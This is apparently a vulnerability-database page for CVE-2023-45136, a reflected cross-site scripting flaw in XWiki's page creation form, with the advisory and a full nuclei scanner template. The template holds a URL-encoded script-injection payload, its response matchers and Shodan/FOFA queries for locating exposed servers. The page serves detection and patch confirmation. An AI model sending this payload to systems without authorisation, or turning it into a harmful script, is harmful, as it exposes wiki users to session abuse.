Browse / CVEs / CVE-2023-45136
CVE-2023-45136· xwiki / xwiki· CWE-79
XWiki < 14.10.14 - Cross-Site Scripting
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. When document names are validated according to a name strategy (disabled by default), XWiki starting in version 12.0-rc-1 and prior to versions 12.10.12 and 15.5-rc-1 is vulnerable to a reflected cross-site scripting attack in the page creation form. This allows an attacker to execute arbitrary actions with the rights of the user opening the malicious link.
Impact
Successful exploitation could lead to cross-site scripting attack.
Fix
This has been patched in XWiki 14.10.12 and 15.5-rc-1 by adding appropriate escaping.
How to confirm it
Send: GET {{BaseURL}}/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E ; GET {{BaseURL}}/xwiki/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains_all(body, "<script>alert(document.domain)</script>", "data-xwiki-reference") and contains(header, "text/html") and status_code == 200Run it with nuclei: nuclei -id CVE-2023-45136 -u <target>
The full check
id: CVE-2023-45136
info:
name: XWiki < 14.10.14 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. When document names are validated according to a name strategy (disabled by default), XWiki starting in version 12.0-rc-1 and prior to versions 12.10.12 and 15.5-rc-1 is vulnerable to a reflected cross-site scripting attack in the page creation form. This allows an attacker to execute arbitrary actions with the rights of the user opening the malicious link.
impact: |
Successful exploitation could lead to cross-site scripting attack.
remediation: |
This has been patched in XWiki 14.10.12 and 15.5-rc-1 by adding appropriate escaping.
reference:
- https://jira.xwiki.org/browse/XWIKI-20854
- https://nvd.nist.gov/vuln/detail/CVE-2023-45136
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-45136
cwe-id: CWE-79
epss-score: 0.05381
epss-percentile: 0.92728
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
metadata:
max-request: 2
verified: true
vendor: xwiki
product: xwiki
shodan-query: html:"data-xwiki-reference"
fofa-query: body="data-xwiki-reference"
tags: cve,cve2023,xwiki,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
- "{{BaseURL}}/xwiki/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'contains_all(body, "<script>alert(document.domain)</script>", "data-xwiki-reference")'
- 'contains(header, "text/html")'
- 'status_code == 200'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from